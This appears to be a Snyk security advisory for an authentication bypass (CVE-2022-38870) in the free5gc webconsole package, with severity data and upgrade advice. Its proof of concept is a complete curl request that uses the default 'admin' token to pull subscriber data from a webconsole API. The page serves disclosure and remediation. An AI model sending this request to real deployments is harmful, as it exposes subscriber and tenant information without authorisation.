Information Exposure Affecting github.com/free5gc/webconsole package, versions <1.3.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
3.99% (91st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMFREE5GCWEBCONSOLE-3063441
  • published26 Oct 2022
  • disclosed26 Oct 2022
  • creditp1-aji

Introduced: 26 Oct 2022

CVE-2022-38870  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade github.com/free5gc/webconsole to version 1.3.0 or higher.

Overview

github.com/free5gc/webconsole is an open source 5G core network based on 3GPP R15

Affected versions of this package are vulnerable to Information Exposure. An attacker can bypass authentication by sending a request whose only credentials are the default username admin to retrieve information on users and tenants.

PoC

curl 'http://172.27.65.183:30500/api/subscriber' 
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' 
-H 'Accept: application/json' 
-H 'Accept-Language: en-US,en;q=0.5' 
-H 'Accept-Encoding: gzip, deflate' 
-H 'Referer: http://172.27.65.183:30500/' 
-H 'Connection: keep-alive' 
-H 'X-Requested-With: XMLHttpRequest' 
-H 'Token: admin' 
-H 'Pragma: no-cache' 
-H 'Cache-Control: no-cache'

CVSS Base Scores

version 3.1